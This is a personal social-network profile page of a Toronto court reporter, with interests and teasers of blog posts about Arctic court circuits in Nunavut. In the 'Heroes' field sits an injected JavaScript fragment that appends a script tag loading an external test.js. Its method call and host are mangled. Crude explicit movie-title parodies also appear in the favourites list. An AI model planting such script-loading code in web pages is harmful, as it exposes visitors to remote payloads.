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About Me

Jack of all trades, master of none.Currently working as a court reporter in downtown Toronto , and on contract for the arctic courts of Nunavut .Student pilot , with all my solo hours complete.Still trying to think about what I want to do when I grow up.

My Interests

I'm a court reporter. I like flying planes , I like jumping out of planes , and I like drinking fine beer -- and not necessarily in that order. I prefer quiet pubs to loud clubs, and my preferred pint is Guinness. I dabble in videography and photography, play bass & guitar, and I own a really dumb cat. I'm half-breed Chippewa. I'm a vegetarian, and I drive a Jeep. These are my interests.

I'd like to meet:

Any interesting people.

Music:

I'll listen to almost anything. My MP3 player is full of songs that have no business being on the same memory stick. And if I really like a song, I'll play it over and over, like an idiot.

Movies:

Star Wars , Kill Bill , Apocolypse Now , Sin City , Pulp Fiction , Reservoir Dogs , Titanic , Whale Music , Mad Max: The Road Warrior , Ass Pirates 9, Schindler's Fist, Good Will Humping, Romancing the Bone, Pulp Friction, The Sexorcist, A Clockwork Orgy, Ass Ventura, Das Booty

Television:

South Park , Spongebob Squarepants , Battlestar Galactica , Weeds , M*A*S*H , Nip/Tuck , Futurama , Trailer Park Boys

Books:

Three Roads to Quantum Gravity

Heroes:

Shirley Manson , Pierre Elliott Trudeau , John Lennon , David Suzuki , Johnny Depp , Drew Barrymore , RUSH , Trey Parker , Matt Stone , my family , my cat , Robin Williams , George Carlin , Ewan McGregor...."var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /

My Blog

More Arctic Photos

Hi All,Sorry I haven't been on much lately. I've gotten caught up in the whole Facebook phenomenon, and it easier for me to just blog in one place. I am making an effort to come back to MySpace a bit ...
Posted by Lan on Wed, 02 Jan 2008 01:04:00 PST

Kootoo's Mishappen Head

So today I was doing a trial here in Iqaluit for a guy by the name of Kootoo Shaw, who was charged with various offences, including assault and careless storage of a firearm.Kootoo was brought into th...
Posted by Lan on Thu, 19 Apr 2007 07:48:00 PST

Disco mukluks, Judges on luggage, Stars on ice

So today, in one of the most remote communities on Earth, I ran into a movie star. More about that in a minute....I was supposed to be working in the Iqaluit courthouse all week, however I was sent f...
Posted by Lan on Wed, 18 Apr 2007 05:39:00 PST

Bright Ideas - Volume I: Search and Rescue

Over the weekend I watched one of those "I Shouldn't Be Alive" shows on the Discovery Channel, where a father and son are lost out in the wilderness, and the search and rescue helicopters kept passing...
Posted by Lan on Tue, 27 Mar 2007 09:59:00 PST

If I were to win the lottery...

Like most people, if I were to win the lottery I'd do lots of travelling, buy a nice house in the country, share the wealth with family and friends, and even try to do a few noble, charitable things. ...
Posted by Lan on Wed, 21 Mar 2007 10:41:00 PST

Northern lights and snowmobiles

So after a couple of days in Pangnirtung, our court party moved on to Qikiqtarjuaq, which is just a few hundred kilometres from the coast of Greenland. Qik is one of the coldest places I've ever been,...
Posted by Lan on Sun, 11 Mar 2007 10:33:00 PST

The Pang

Leaving Pang tomorrow. I really wish I could have stayed here longer. I really wanted to take a long dog sled ride along the frozen bay through the mountain pass, but alas, I have to fly out to Qikiqt...
Posted by Lan on Wed, 07 Mar 2007 09:39:00 PST

The worst photographer ever

So I got to Iqaluit airport this morning to catch my plane to Pangnirtung, boarded the plane, and just as I had finished doing up my seatbelt and getting settled in, they tell us that we had to de-boa...
Posted by Lan on Tue, 06 Mar 2007 06:27:00 PST

Raven poo

Arghh. I'm back at my hotel in Iqaluit again, and I had just gotten back to my room from buying a few things downstairs, when the hotel fire alarm goes off. I had just finished taking off all my winte...
Posted by Lan on Sun, 04 Mar 2007 02:13:00 PST

Red Moon Rising

So I'm in my hotel room in Ottawa right now. I'm flying to Iqaluit tomorrow, Pangnirtung on Monday, then Qikiqtarjuaq on Wednesday. It's a lot of pain-in-the ass packing & unpacking, boarding diff...
Posted by Lan on Sat, 03 Mar 2007 01:13:00 PST